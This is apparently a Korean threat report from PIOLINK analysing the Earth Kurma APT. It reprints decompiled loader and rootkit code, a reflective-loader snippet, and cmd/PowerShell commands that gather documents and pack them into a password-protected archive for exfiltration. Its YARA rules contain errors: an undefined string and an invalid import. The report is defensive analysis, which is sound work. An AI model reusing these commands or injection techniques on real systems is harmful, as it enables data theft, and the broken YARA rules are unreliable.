PIOLINK

# Earth Kurma 캠페인

맞춤형 악성코드를 사용하는 APT 그룹

사이버위협분석팀

## • Earth Kurma 그룹

### 1) 개요

최근 필리핀, 말레이시아 등 동남아시아를 대상으로 하는 APT 캠페인이 발견됐다. APT는 Advanced Persistent Treat의 약자로, 지속 가능한 공격 즉, 시스템에 장기간 상주하며 데이터를 훔치거나 시스템을 파괴하는 공격을 말한다. 연구원들은 해당 캠페인의 배후에 있는 위협 그룹을 Earth Kurma라고 이름 붙였다.

Earth Kurma는 2020년 11월부터 활동을 시작해, 주로 정부기관을 노리며 데이터 유출에 초점을 두고 있다. 초기 침투부터, 악성코드 다운로드, 지속성 유지를 위해 다양한 오픈소스를 사용했다. 또한 맞춤형 악성코드를 사용했으며, 탈취한 정보들을 Dropbox와 OneDrive같은 합법적인 플랫폼을 활용한다.

Earth Kurma가 사용한 도구 및 악성코드와 다른 APT 그룹에서 사용한 것이 일치하는 부분이 발견되기도 했다. 캠페인에 사용된 MORIYA 루트킷의 경우 Operation TunnelSnake에 사용된 것과 동일한 코드가 발견되었으며 SIMPOBOXSPY의 경우 ToddyCat이라는 APT그룹과 연관되어 있다. 이처럼 일부 유사한 부분이 발견되었지만 공격 패턴은 달라 동일 위협그룹보단 다른 그룹으로 분류된 상태다. Earth Kurma의 APT 캠페인을 전략, 기술, 절차(TTPs)를 바탕으로 분석해보고자 한다.

### 2) 측면 이동(Lateral Movement)

측면이동은 손상된 네트워크나 시스템을 탐색하여 다른 시스템으로 이동하는 것을 말한다. .Earth Kurma는 측면 이동 단계에서 NBTSCAN, LADON, FRPC, WMIHACKER, ICMPinger 등 여러 도구를 사용했다. 인프라 조사 및 검사를 위해 ICMPinger와 Ladon 이라는 오픈소스 도구를 사용했다. ICMPinger는 ICMP 프로토콜을 기반으로 하는 네트워크 스캔 도구로 지정된 호스트가 살아 있는지 확인한다. Ladon의 경우 탐지 우회를 위해 PyInstaller로 컴파일된 반사형 로더(reflective loader)에 포함되어 있다.

```
import base64
byte_string = 'UEeNHR4dHR0ZHR0d4uIdHaUdHR0dHR0dXR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0d
data = base64.b64decode(byte_string.encode('ascii'))
key = 29
data = bytes((lambda .0: [ c ^ key for c in .0 ])(data))
import clr
import sys
clr.AddReference('mscorlib')
import System
from System.Reflection import Assembly, MethodBase
assembly = Assembly.Load(data)
from ConsoleApp1 import Program
args = sys.argv[1:]
arrays = (lambda .0: [ str(arg) for arg in .0 ])(args)
object = Program()
result = object.Main(arrays)
```

<그림 1> Ladon 반사 로딩 절차

## • Earth Kurma 그룹

또한 SMB가 필요 없이 153 포트를 통해 명령을 내릴 수 있는 WMIHACKER라는 오픈소스 도구도 사용했다. 일부는 SMB를 통해 명령을 실행하기도 했다. 측면이동을 위해 맞춤형 키로거를 사용해 시스템 사용자의 자격증명을 훔치려고 했다.

```
'On Error Resume Next
Const HKEY_LOCAL_MACHINE = &H80000002
Const wbemFlagReturnImmediately = &h10
Const wbemFlagForwardOnly = &h20
'################################# Temp Result File , Change it to where you like
Const Path = "C:\Windows\Temp\"
Const FileName = "appdata.txt"
Const timeOut = 3000 ' 1000ms = 1s
Const strKeyPath = "SOFTWARE\Classes\hello"
Const strName = "Part2"
'#################################
Dim time_zone
file = Path&FileName
WScript.Echo
WScript.Echo "__          ____  __ _____   _    _          _____ _  ________ _____  "
WScript.Echo "\ \        / /  \/  |_   _| | |  | |   /\   / ____| |/ /  ____|  __ \ "
WScript.Echo " \ \  /\  / /| \  / | | |   | |__| |  /  \ | |    | ' /| |__  | |__) |"
WScript.Echo "  \ \/  \/ / | |\/| | | |   |  __  | / /\ \| |    |  < |  __| |  _  / "
WScript.Echo "   \  /\  /  | |  | |_| |_  | |  | |/ ____ \ |____| . \| |____| | \ \ "
WScript.Echo "    \/  \/   |_|  |_|_____| |_|  |_/_/    \_\_____|_|\_\______|_|  \_\"
WScript.Echo "                v0.6beta       By. Xiangshan@360RedTeam "
Set objArgs = WScript.Arguments
intArgCount = objArgs.Count
If intArgCount < 2 Or intArgCount > 6 Then
```

<그림 2> WMIHACKER 스크립트 본문

```
[Title]  : ..[Time]    : 2024-11-20  15:36:25..[Content]: [F8]....
[Title]  : KMLOG..[Time]    : 2024-11-20  15:48:29..[Content]: hhhhh123456....
[Title]  : Process Explorer - Sysinternals: www.sysinternals.com [Nick-PC\Nick] (Administrator)..[Time]    : 2024-11-20  15:48:36..[Content]: hhhhhhh....
[Title]  : *new 3 - Notepad++ [Administrator]..[Time]    : 2024-11-20  15:48:53..[Content]: 123456789abcd test     [TAB][TAB][TAB]123456....
[Title]  : IDA - bril09a.dll C:\Users\Nick\Desktop\KMLOG\bril09a.dll..[Time]    : 2024-11-20  15:49:14..[Content]: 1111
```

<그림 3> 키로거

### 3) 지속성(Persistence)

Mitre Attack에서 Persistence는 지속성 유지 즉, 공격자가 시스템에 대한 지속적인 접근 권한을 유지하는 것을 말한다. Earth Kurma는 이 단계에서 DUNLOADER, TESDAT, DMLOADER 등 다양한 로더를 사용했다. 이 로더들은 Dorpbox나 OneDrive 같은 클라우드 서비스를 통해 악성코드를 배포하고 데이터를 유출하는 데 사용되기도 한다.

DUNLOADER의 경우 DLL 파일이며, 부모 프로세스 이름에 fnw가 포함되어 있는지 확인한다. TESDAT는 SwitchToFiber라는 API를 이용해 쉘 코드를 호출한다. 이는 탐지를 피하기 위한 것으로 보인다. 로더에 임의의 문자열을 사용하여 이름을 지정하고, 피해자가 자주 접근하는 폴더에 저장하기도 한다.

- c:₩Users₩{사용자}₩Downloads₩wcrpc.dll
- c:₩Users₩{사용자}₩documents₩ViberDownloads₩mfsvc.dll
- c:₩Users₩{사용자}₩Downloads₩1₩2₩3₩prick.exe
- c:₩Users₩{사용자}₩Downloads₩Rufus₩gpupdat.exe

- Earth Kurma 그룹

```
if ( result )
{
  memset(pszFirst, 0, 0x104uLL);
  ((void (__fastcall *)(_QWORD, CHAR *, __int64))v8)(0LL, pszFirst, 260LL);
  *(_DWORD *)pszSrch = 0xF2FBE1;            // fnw
  do
  {
    v9 = &pszSrch[v0];
    v10 = v0++ - 108;
    *v9 ^= v10;
  }
  while ( v0 < 3 );
  pszSrch[3] = 0;
  result = (HMODULE)StrStrIA(pszFirst, pszSrch);
```

<그림 4> DUNLOADER 부모 프로세스명 확인

```
v6 = (void (__stdcall *)(HANDLE, LPFIBER_START_ROUTINE *, size_t *, int, _BYTE *))sub_100011D0(v7, -424807648);
v6(CurrentProcess, &lpStartAddress, &Size, 32, v2);
ConvertThreadToFiber(0);
lpFiber = CreateFiber(0, lpStartAddress, 0);
SwitchToFiber(lpFiber);
```

<그림 5> TESDAT 쉘 코드 호출

**[루트킷]**

루트킷은 공격자가 시스템에 침입한 뒤, 자신의 존재를 숨기고 장기적으로 시스템에 명령을 내리기 위해 사용되는 악성 도구 또는 기법이다. Earth Kurma는 로더를 피해자 시스템에 다운로드한 후 해당 로더를 이용해 루트킷을 설치한다.

첫번째 루트킷인 MORIYA는 TCP 트래픽에 악성 페이로드를 숨기는 기능을 가지고 있다. TCP 패킷이 C2 서버에서 오는 것인지 확인하기 위해 6개의 매직 바이트를 확인한다. 일치하는 패킷이 있으면 악성 스크립트를 응답 패킷 본문에 삽입한다.

```
v3 = 0;
if ( CurrentStackLocation->Parameters.Read.ByteOffset.LowPart == 0x222004 )
{
  if ( CurrentStackLocation->Parameters.Create.Options == 6 )
  {
    MasterIrp = a2->AssociatedIrp.MasterIrp;
    dword_140008AA0 = *(_DWORD *)&MasterIrp->Type;
    word_140008AA4 = *(&MasterIrp->Size + 1);
    sub_140002564();
  }
  else
  {
    v3 = -1073741811;
  }
}
a2->IoStatus.Information = 0LL;
a2->IoStatus.Status = v3;
IofCompleteRequest(a2, 0);
return v3;
}
```

<그림 6> TCP 패킷 검사

## • Earth Kurma 그룹

또한 추가적인 쉘 코드 삽입 기능을 가지고 있다. SystemRoot₩₩system32₩₩drivers₩₩ {driver_name}.dat 위치에서 페이로드를 로드하려고 한다. 해당 페이로드는 암호화되어 svchost.exe 프로세스에 삽입된다.

```
    while ( *v14 );
    *(_QWORD *)v14 = 0x7400610064002ELL;
    v14[4] = 0;
    v18 = 0;
    v15 = sub_1400032E4((PCWSTR)SourceString, &v18);
    if ( !v15 )
      return 3221225473LL;
    sub_140001FE0(dword_140009340, (__int64)dword_140008828, 128);
    sub_140002514((__int64)dword_140009340, (__int64)v15, v18);
    v16 = sub_140003ED8((wchar_t *)L"svchost.exe");
    v2 = sub_140003DB0(v16, v15, v18);
  }
}
if ( KeyHandle )
  ZwClose(KeyHandle);
return (unsigned int)v2;
```

<그림 7> svchost.exe 쉘코드 주입

쉘 코드는 NtCreateThreadEx API를 사용하여 호출된다. 탐지 우회를 위해 Zw 또는 Nt로 시작하는 함수를 찾아 각 함수의 시스템 호출 번호를 저장한다.

```
  v18 = v12;
  if ( *(_BYTE *)v11 == 'N' )
  {
    if ( *(_BYTE *)(v11 + 1) == 't' )
      goto LABEL_13;
  }
  else if ( *(_BYTE *)v11 == 'Z' && *(_BYTE *)(v11 + 1) == 'w' )
  {
LABEL_13:
    v13 = 0;
    v23 = v12;
    v14 = v12;
    while ( 1 )
    {
      if ( v12 + (unsigned __int64)v13 >= a1 + (unsigned __int64)*(unsigned int *)(v3 + 80)
        || (unsigned __int8)(*(_BYTE *)v14 + 62) <= 1u )
      {
LABEL_21:
        v9 = v21;
        v10 = v22;
        break;
      }
      if ( *(_BYTE *)v14 == 0xB8 )
      {
        PoolWithTag = (__m128 *)ExAllocatePoolWithTag(NonPagedPool, 0x140uLL, 0x656E6F4Eu);
        v16 = (__int64)PoolWithTag;
        if ( !PoolWithTag )
          return 3221225626LL;
        sub_140004600(PoolWithTag, 0, 320uLL);
        *(_DWORD *)(v16 + 316) = *(_DWORD *)(v14 + 1);
        strncpy((char *)(v16 + 16), (const char *)v11, 0x12CuLL);
        strncmp((const char *)(v16 + 16), "NtCreateThreadEx", 0x11uLL);
        v17 = (__int64 *)qword_1400095A8;
```

<그림 8> 함수 탐색 및 저장 루틴

## • Earth Kurma 그룹

MORIYA 외에 Earth Kurma가 사용한 것은 KRNRAT 이다. KRNRAT은 쉘 코드 실행, 통신 등 기능을 갖춘 백도어이다. KRNRAT는 다양한 오픈소스 프로젝트를 기반으로 한다. 악성 페이로드를 svchost.exe에 삽입하는데 이 부분은 MORIYA와 비슷하게 동작한다. C2와 연결해 페이로드를 추가로 다운로드 하려고 하며, 프로세스 연결을 은닉한다.

```
94  output_debug_str("WorkProc");
95  LODWORD(hToken) = 0;
96  FileW = CreateFileW(L"\\\\.\\SmartFilter", 0xC0000000, 0, 0i64, 3u, 0x80u, 0i64);
97  if ( FileW == (HANDLE)-1i64 )
98  {
99    LastError = GetLastError();
100   output_debug_str("Open device error = %d\n", LastError);
101 }
102 else
103 {
104   InBuffer = GetCurrentProcessId();
105   v12 = DeviceIoControl(FileW, 0x222044u, &InBuffer, 4u, 0i64, 0, (LPDWORD)&hToken, 0i64);
106   v13 = (const char *)L"Add hidden process %d failed!\n";
107   if ( v12 )
108     v13 = L"Add hidden process %d success!\n";
109   printf_1(v13, InBuffer);
110   CloseHandle(FileW);
111 }
```

<그림 9> 프로세스 은닉

```
71  setsockopt(v11, 0xFFFF, 4102, InBuffer, 4);
72  inet_addr(a2);
73  output_debug_str("Hide Connection %s\n", a2);
74  *(_DWORD *)InBuffer = *(_DWORD *)&name.sa_data[2];
75  LODWORD(ppQueryResults) = 0;
76  FileW = CreateFileW(L"\\\\.\\SmartFilter", 0xC0000000, 0, 0i64, 3u, 0x80u, 0i64);
77  if ( FileW == (HANDLE)-1i64 )
78  {
79    LastError = GetLastError();
80    output_debug_str("Open device error = %d\n", LastError);
81    result = 1i64;
82    a1->passed_hiding_ip = 1;
83  }
84  else
85  {
86    if ( DeviceIoControl(FileW, 0x222064u, InBuffer, 4u, 0i64, 0, (LPDWORD)&ppQueryResults, 0i64) )
87    {
88      v15 = inet_ntoa(*(struct in_addr *)InBuffer);
89      output_debug_str("Add hidden IP %s success!\n", v15);
90    }
91    else
92    {
93      v14 = inet_ntoa(*(struct in_addr *)InBuffer);
94      output_debug_str("Add hidden IP %s failed!\n", v14);
95    }
96    CloseHandle(FileW);
97    result = 1i64;
98    a1->passed_hiding_ip = 1;
99  }
00  return result;
01 }
```

<그림 10> 통신 IP 은닉

- Earth Kurma 그룹

### 4) 수집 및 유출(Collection and Exfiltration)

로더가 .pdf, .doc, .docx 등의 확장자를 가진 문서 파일을 수집한다. 해당 문서들은 tmp라는 이름으로 생성된 폴더에 저장되고, 이후 WinRAR 통해 비밀번호와 함께 압축된다.

```
C:₩Windows₩system32₩cmd.exe /C dir c:₩users
C:₩Windows₩system32₩cmd.exe /C mkdir tmp
C:₩Windows₩system32₩cmd.exe /C powershell.exe "dir c:₩users -File -Recurse -Include '*.pdf', '*.doc', '*.docx', '*.xls',
'*.xlsx', '*.ppt' , '*.pptx'| where LastWriteTime -gt (Get-date).AddDays(-30) | foreach {cmd /c copy $_
/yc:₩users₩{username}₩documents₩tmp};echo Finish!"
C:₩Windows₩system32₩cmd.exe /C c:₩"program files"₩winrar₩rar.exe a -p{암호} -v200m
c:₩users₩{사용자이름}₩documents₩{호스트 이름} c:₩users₩{사용자 이름}₩documents₩tmp -ep
C:₩Windows₩system32₩cmd.exe /C rmdir /s /q tmp
```

### 5) 결론

Earth Kurma는 2020년 부터 시작해 지금까지도 지속적으로 매우 활발한 활동을 유지하고 있다. 사용하는 로더와 악성코드를 그대로 사용하는 것이 아니라 목표 시스템의 인프라에 따라 수정하여 사용하고 있다. 그렇기 때문에 공격 성공률이 높으며, 측면이동이 정교하게 수행되어 확산성이 강해, 공격 당했을 때 피해가 상당하다. 또한 합법적인 플랫폼을 이용하여 탈취한 정보를 유출하고 있으므로 탐지 회피 기술 또한 탁월하다.

발견된 시점부터 꾸준하게 정부, 공공기관을 대상으로 공격을 수행하고 있으므로 해당 분야에 포함될 경우 모니터링을 좀 더 면밀하게 할 필요가 있다.

## 6) IOC 정보

**Domain**

www[.]dfsg3gfsga[.]space
www[.]ihyvcs5t[.]pw
www[.]igtsadlb2ra[.]pw
www[.]vidsec[.]cc

**IP**

103.238[.]214.88
38.147[.]191.103
149.28[.]147.63
38.60[.]199.225
166.88[.]194.53
45.77[.]250.21
185.239[.]225.106

**MORIYA**

4198b4ec5bb0c72112e9cf835686c33b9a97037acfb7727e494046a73106e938
823a0862d10f41524362ba8e8976ddfd4524c74075bd7f3beffa794afb54f196
ec9220cf8208a3105022b47861d4e200672846ef484c1ea481c5cfd617cb18dc

**KRNRAT**

1f3f384e29eab247ec99d97dfe6a4b67110888e4ad313b75fa9d0beceef87e93
2c9b8e4852181d51ff72dc6dec78bef014db8af83d30c05c3e9c5eb060278730

### 6) IOC 정보

**WMIHACKER**

131bacdddd51f0d5d869b63912606719cd8f7a8f5b5f4237cbdb5c2e22e2cba2

**DUNLOADER**

f52d9355b9efb6a1fcb32b890c5c373274df21ce38050d49416f469be95dc783
1c350d09c1cd545d54c38cd03aba3fd4eb0e8d97a3ba6c3744cc33ed92cb9a48
1e48967e24d4ae2ac2697ef09c0f2702285825831bd516cb3be8859496fd296f
6ef3a27fdca386fe093c12146cd854d9ae6b42ca637950ca46bfd364ceab5b53
75cc8474abb1d9a06cd8086fede98958653d013fb7ff89bbc32458b022a8fc94
8e6583cca6dd4a78bdc0387c7f30334ab038e5c77848f708fe578e60dd8d9e00

**TESDAT**

004adec667373bdf6146e05b9a1c6e0c63941afd38e30c2461eaecb707352466
0a50587785bf821d224885cbfc65c5fd251b3e43cda90c3f49435bb3323d2a8b
10898b74b612b1e95826521c5ccf36f7a238f5d181993c3c78c2098fcfdc1f3f
1f5f6cc1cbf578412ea5279dbdb432eda251309695513a74de66063ab02789f1
2e87615142170a7510e26f94790bfb81df4d499a9f530d0bd8fe0fb1575b17f8

### 6) Yara Rule

```
import "pe"
import "uint"

rule EarthKurma_MORIYA_Rootkit
{
    meta:
        author = “piolink"
        description = " Detects MORIYA kernel-mode rootkit from Earth Kurma APT "
        threat = "APT/EarthKurma"

    strings:

        $drv_name = "MoriyaStreamWatchmen.sys" ascii
        $ioctl_magic = { 04 22 02 00 }
        $magic_sz = "pass12" ascii

        // PE 헤더 식별
        $mz = { 4D 5A }

    condition:
        pe.is_driver and
        $mz at 0 and
        $drv_name and
        any of ($ioctl_magic, $magic_sz)
}
```

### 6) Yara Rule

```
import "pe"
import "uint"

rule EarthKurma_KRNRAT_Rootkit
{
    meta:
        author = ”piolink"
        description = "Detects KRNRAT kernel-mode rootkit from Earth Kurma APT"
        threat = "APT/EarthKurma"
        version = "1.0"

    strings:
        $sz_inject      = "svchost.exe" ascii
        $func_ioctl     = /DeviceIoControl|ZwDeviceIoControlFile/
        $c2_marker      = "KRNRAT_AGENT" ascii

    condition:
        pe.is_driver and
        uint16(0) == 0x5A4D and
        $rootkit_name and
        $sz_inject and
        any of ($func_ioctl, $c2_marker)
}
```